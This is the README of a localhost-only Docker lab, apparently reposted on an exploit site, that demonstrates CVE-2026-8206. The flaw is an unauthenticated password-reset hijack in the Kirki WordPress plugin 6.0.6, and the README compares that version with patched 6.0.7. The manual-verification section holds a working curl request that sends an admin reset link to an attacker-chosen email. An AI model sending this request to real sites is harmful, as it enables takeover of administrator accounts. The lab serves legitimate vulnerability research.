Share
## https://sploitus.com/exploit?id=D49CC829-87B9-53A1-BD0B-67B23C6F0EB3
# CVE-2026-8206 - Kirki Account Takeover Lab

Local Docker lab for demonstrating CVE-2026-8206 in the Kirki WordPress plugin.

This repository compares the real Kirki plugin releases:

- `vuln`: Kirki `6.0.6`
- `patched`: Kirki `6.0.7`

The lab is local-only and binds WordPress services to `127.0.0.1`.
The PoC is least-harm: it requests a password reset and verifies the captured email recipient inside the lab. It does **not** change any password.

---

## Summary

CVE-2026-8206 is an unauthenticated account takeover / privilege escalation vulnerability in Kirki versions `6.0.0` through `6.0.6`.

The vulnerable password reset handler creates a reset key for a real WordPress user selected by `username`, but sends the reset email to an arbitrary email address supplied in the request.

In this lab:

```text
vulnerable => reset link for admin is sent to attacker-lab@example.test
patched    => mismatched email is rejected and no reset email is sent to attacker-lab@example.test
```

---

## Affected Component

- Product: Kirki โ€“ Freeform Page Builder, Website Builder & Customizer
- Affected versions: `6.0.0` to `6.0.6`
- Fixed version: `6.0.7`
- Vulnerable endpoint used in this lab:

```text
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
```

---

## Root Cause

The vulnerable handler is:

```text
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
```

### Vulnerable behavior in 6.0.6

Kirki reads the attacker-supplied email from the request body:

```php
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
```

It then resolves the target WordPress user by username and creates a password reset key for that user:

```php
$key = get_password_reset_key( $user );
```

But the final reset email is sent to the request-supplied `$email`:

```php
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
```

This breaks the trust boundary between the account identity and the reset-email recipient.
An unauthenticated requester can provide:

```text
username=admin
email=attacker-lab@example.test
```

The reset key belongs to `admin`, but the email is delivered to the attacker-controlled address.

### Patched behavior in 6.0.7

Kirki `6.0.7` validates that the supplied email matches the resolved user's registered email, then forces the recipient to the account email before sending:

```php
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );
```

---

## Lab Design

| Service | Purpose | Host URL |
|---|---|---|
| `vuln` | WordPress + Kirki `6.0.6` | `http://127.0.0.1:8081` |
| `patched` | WordPress + Kirki `6.0.7` | `http://127.0.0.1:8082` |
| `db_vuln` | MySQL for vulnerable WordPress | Docker network only |
| `db_patched` | MySQL for patched WordPress | Docker network only |
| `wpcli_vuln` | Seeds vulnerable WordPress | one-shot setup |
| `wpcli_patched` | Seeds patched WordPress | one-shot setup |

Local mail is captured to files instead of being sent externally:

```text
artifacts/vuln-mail/
artifacts/patched-mail/
```

The lab uses real Kirki plugin versions installed with WP-CLI. The plugin source is not modified.

---

## Repository Structure

```text
.
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ vuln/
โ”‚   โ””โ”€โ”€ Dockerfile
โ”œโ”€โ”€ patched/
โ”‚   โ””โ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker/
โ”‚   โ”œโ”€โ”€ capture-mail
โ”‚   โ””โ”€โ”€ mail-capture.ini
โ”œโ”€โ”€ scripts/
โ”‚   โ””โ”€โ”€ setup-wordpress.sh
โ”œโ”€โ”€ poc/
โ”‚   โ”œโ”€โ”€ poc_local.py
โ”‚   โ””โ”€โ”€ run_lab_poc.sh
โ”œโ”€โ”€ docs/
โ”‚   โ””โ”€โ”€ notes.md
โ”œโ”€โ”€ SAFETY.md
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ .gitignore
```

---

## Requirements

- Docker Desktop or Docker Engine
- Docker Compose v2
- Python 3
- Python `requests` package

Install Python dependency if needed:

```bash
python3 -m pip install requests
```

---

## Run the Lab

Start the containers:

```bash
docker compose up -d --build
```

Seed both WordPress instances:

```bash
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
```

Run the PoC:

```bash
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
```

---

## Expected Results

### Vulnerable: Kirki 6.0.6

Expected result:

```text
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: attacker-lab@example.test
    Subject: CVE-2026-8206 local lab proof
```

This proves that the vulnerable version sent a password reset email for the target account to the attacker-controlled address.

### Patched: Kirki 6.0.7

Expected result:

```text
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
```

This proves that the patched version rejects the username/email mismatch and does not send the reset email to the attacker-controlled address.

---

## Manual Verification

Create the correct Kirki element nonce inside the vulnerable lab:

```bash
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
```

Send a local-only request to the vulnerable service:

```bash
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "email=attacker-lab@example.test" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
```

Check captured mail:

```bash
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
```

Expected vulnerable evidence:

```text
To: attacker-lab@example.test
... action=rp ... login=admin ...
```

---

## Safety

This lab is intended for local security research and portfolio demonstration only.

Guardrails:

- Binds services to `127.0.0.1` only.
- Uses dummy local email addresses.
- Captures mail locally instead of sending real email.
- Does not change passwords.
- Does not attempt exploitation against external systems.

---

## Cleanup

```bash
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
```

---

## References

- CVE Record: https://vulners.com/cve/CVE-2026-8206
- Wordfence advisory: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
- Wordfence vulnerability database: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
- WordPress plugin page / changelog: https://wordpress.org/plugins/kirki/
- OpenCVE entry: https://app.opencve.io/cve/CVE-2026-8206